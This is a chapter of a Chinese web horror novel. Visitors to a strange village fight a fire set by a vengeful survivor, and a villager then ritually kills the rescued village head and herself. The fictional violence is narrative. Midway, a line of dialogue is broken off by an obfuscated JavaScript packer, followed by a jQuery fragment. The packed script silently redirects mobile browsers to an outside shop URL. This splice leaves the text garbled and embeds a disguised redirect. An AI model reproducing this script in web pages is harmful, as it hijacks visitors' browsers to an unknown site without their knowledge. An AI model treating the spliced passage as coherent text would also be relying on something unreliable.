浓浓的黑烟直冲上天,着火的房子离他们有些距离,等他们赶到时,火势已经大得无法控制,房子外围被大火包围,爆炸声震耳欲聋,空气中也弥漫着令人窒息的刺鼻气味。
也不知道里面有没有住人,陈起踹开院子门,想直接冲进去,却连靠近都做不到,整个房子都用的是实木,简直就是一个巨大的燃料厂。
杨易梵眼尖,看到了一个干干瘦瘦,明显营养不良的女生,拿了一把点燃火的木头站在墙外正准备往里面扔。
“你在做什么?杀人放火是犯法的!”杨易梵翻墙出去抢过她手里的木头,用力踩在脚下,保证不再有一点火星。
而点火的始作俑者丝毫不在意杨易梵说的话,反而欣赏般地看着窜起的火舌,眼里是无尽的快意,声音嘶哑,“这里的人就该死!烧死都算死得太便宜了。”
这副恶毒的模样,让杨易梵头一次生出了这人就算是个女的他都想揍她一顿的想法。
虽然现在没时间收拾她,但是杨易梵也不准备放走她,这人杀心这么重难保不会再去别的地方点火。
占了体型的优势,杨易梵很轻松就把她抓住,绑在旁边的树上。
这距离刚好,正对迎风口,烟都往这边吹,既保证了她不会被火烧到,又能让她自食其果。
这里只有祝影也不怕火,她直接闯进了房子里,查看里面的情况,好在里面还没有烧起来,房屋内的陈设比她之前看过的其他房子要更豪华一些。
飘进里屋,发现了躺在床上睡得正熟的一个老婆婆,靠近一看,竟然是这个村的村长。
火把木头烧得劈里啪啦作响,屋子里也开始弥漫起烟雾,外面杨易梵他们正在疯狂敲其他人的门,大喊“着火了。”
即使是这么大的动静,也没有把床上的人吵醒,要不是听见村长浑厚响亮的呼吸声,祝影也都快以为这人已经被烟熏晕了。
等了好一会儿,整个村愣是没一个人醒来,村子里连抽水机都找不到,只靠他们几个用盆浇灭这铺天盖地的烈火,简直是天方夜谭。
祝影也感受不到温度,但是她肉眼可见床上的人皮肤逐渐变红,火已经烧到了堂屋,堵住了出去的路,外面的人也没办法进来。
横在床上方的房梁被火烧得咯吱响,“咚”一声,其中一头断裂,坠到地上,溅起的火星,飞窜上床。
棉被沾火瞬间被点燃,村长瞬间被包裹在火海中,祝影也急得脑袋一嗡,伸出手想去扯掉那层被子,不出所料手径直穿过棉被。
房屋内的家具被点燃后,那火就像发了疯似的,四处乱窜,很快将一切都吞噬干净,这个房子就像还吊着一口气的老人,发出“吱呀吱呀”的哀嚎声,随着“轰隆”一声巨响,咽下最后一口气,瘫倒在地上。
塌成这样,里面的人就算没被烧死也被压死了,杨易梵用力将手里的盆砸到地上,发出“哐当”一声巨响,大声咒骂:“这村子里都是神经病,冷血,聋子……”
又突然想起那个点火的人,要不是她,这里面的人也不会有事。
气冲冲跑到外面,绑在树上的人正被烟呛得直咳嗽,杨易梵把她拎到院子里,随手扔到了地上,“这个就是纵火犯!”
祁音尘低头一看,这人他认识,当时和他们一起被困在地下的就是她。
被扔在地上孙苡不但没生气,反而笑了起来,“看来是没救出里面的人,死得好哇,真是畅快。”
嘴上说着畅快,可那笑声却带着苦味,分不清究竟是喜是悲。
笑声戛然而止,孙苡失神一般怔愣地盯着前方,本该葬生火海的人,被一只女鬼给救了出来。
祝影也背着村长,从后院绕出来,冲他们喊:“还有呼吸,不过不知道为什么就是怎么也弄不醒。”
听到这话,孙苡飞速蹦起来,冲到祝影也旁边,直接用手去掐村长的脖子。
被杨易梵眼疾手快给摁在了地上,没让她得逞,“这人做了什么,你这么恨她,甚至到了非弄死她不可的地步?”
“我恨她?你该去问问这个人对我们做了什么?三条命啊!我眼睁睁地看着我三个朋友死在我眼前,如果不是命大,我也早就化成了一滩血水,连渣都不剩。”孙苡说完忍不住撕声大叫了起来。
被困在暗无天日的地下好几天,亲眼目睹自己的朋友在自己眼前死去,还不知道等待自己的是不是一样的命运。
意外获救,心里却生不起一丝快乐,只有身为幸存者的负罪感,如果不是她执意要找吴麻子带路,他们根本不会进这个村,也就不会出事,最该死的应该是她。
既然她活下来了,那她就不能让她的朋友白死。
杨易梵看着地上已经完全崩溃的女人,瘦得连骨头都清晰可见,想来这些天吃了不少苦,想到自己之前对她那些过分的举动,不由得开始后悔。
别说是三个朋友了,就是一个朋友死在他面前,他也受不了,他进村本来就是找他的朋友的,结果现在都没消息,他一直安慰自己没有消息就是最好的消息,可如果他的朋友真的遭遇不测,他也不敢保证自己不会冲动复仇。
祝影也看着刚刚还一脸正气的杨苡梵,松开了孙苡,看她的眼神似乎还有些同情,转头又看到陈起一副不支持也不阻止的模样,而祁音尘一年四季都是一个表情,看不出来怎么想的。
一时琢磨不透现在是怎么个情况。
后院突然传来声音嘹亮的鸡鸣声,接着整个村的鸡都跟着叫了起来,而村子里的人就像他们第一天进村那样,听到鸡叫声后才醒来。
很快烟雾的气味将村民引了过来,看着一片废墟的村长家,再一看躺在地上一动不动的村长,在场村民迅速双膝跪地,额头点地,低声哀鸣。
而后续赶来的村民也纷纷跪地,一瞬间,地上跪满了人。
每个人看起来都无比虔诚,让杨易梵忽然有些不确定这样一个受这么多人尊敬的人,会无辜杀那么多人,他低声问孙苡:“你怎么就能确定害死你朋友的就是村长?”
不过他没想到这些村民里有个耳尖的驼背老人,把他的话一字不漏的听了去,她大声怒斥:“你胡说什么?我们村长怎么可能害人。”
“如果不是你们,我和我的朋友怎么会无故被困在地下?那个老太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092991|145393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
婆是主谋,你们都是帮凶。”就是那个所谓的村长把他们带进了一个闲置的房子里,他们几个也因此被拖入了地下。
“什么地下?你们这些外乡人还真是会倒打一耙,趁我们晚上睡觉,偷了我们的东西,躲进山里,甚至还打断了我们村老赵的腿,老赵最后疼痛难忍,居然选择了锯掉自己的腿,死不瞑目哇!”
杨易梵回想起那股味道,胃里就开始翻江倒海,那人死得确实惨,死得悄无声息的,现在都还没能入土为安。
不过孙苡却丝毫不认,“我们什么时候偷你们东西了,进村的第一天我们就被你们关在地下了,直到今天也只有我一个人逃出来。”
“和你一起进村的那个秃子,我们村的人看得清清楚楚就是他早上鬼鬼祟祟从老赵房里出来。”
秃子?杨易梵突然脑子里清晰地印出一个人的模样,“你们和吴麻子一起进村的?那他人呢?”
“他带我们进来后,就走了,说还要带其他人进来。”他们就是一个拿钱,一个办事的关系,吴麻子带他们进来后,去做什么孙苡自然不关心。
“咳咳——”村长嘴里咳出一些黑灰,眼皮轻颤,大概是快醒了。
“村长!?”跪得离村长最近的小荷第一个听到动静,震惊到瞪大了双眼。
“哦,忘了告诉你们,你们白哭了,其实你们村长没死,我们这边有个人美心善的仙女,冒着大火把你们的村长给救了出来,感谢的话就不用说了,就好好说说昨天晚上为什么要弄个假娃娃来吓我们。”杨易梵说着不忘吹捧一下祝影也,既然这些人不认地下的事,那总该解释一些那个吓人的娃娃是怎么回事。
“你说什么?村长是什么时候出的屋子?”一个村民抓着杨易梵的手,语无伦次地问:“什么时候?是在鸡叫前吗?”
“要是等鸡叫,你们村长现在已经烧成灰了。”杨易梵抽回手,觉得这些人莫名奇妙,起床要听鸡叫声,现在连救人也要等鸡叫。
“小荷,不要!”
只听“哧”一声,杨易梵感觉脸上有些湿乎乎的,用手去擦,一看,竟然是血。
再一看原本即将转醒的村长,脖子上的血像是喷泉一样,喷薄而出,那个叫“小荷”的女孩,跪在一边,手里握着一把小刀,整张脸都被鲜血染红。
这是什么情况?
杨易梵记得这个村长不是小荷的亲奶奶吗?
不过令他更没有想到的是,小荷又立刻举起刀,用力插进自己的脖子,立时就咽了气。
“小荷,你个傻孩子,你还这么年轻,怎么也轮不到你来做这件事,我承了你奶奶的恩,这罪该是我来受!”一个老伯伯不顾小荷满身的血,将她紧紧抱紧了怀里,泣不成声。
这个村的人太不正常了,杨易梵脑袋已经彻底懵了,紧接着发现自己的眼睛也花了,否则怎么会看到两个透明到只能看到一点轮廓的像魂一样的东西,从地上躺的两个人身体里飘出来。
只见那老伯伯放下小荷的尸体,擦干眼泪,冲那两个向天上飘走的魂体,大喊:“孝感动天,神佑我不归村,小荷和村长一起登上极乐了!”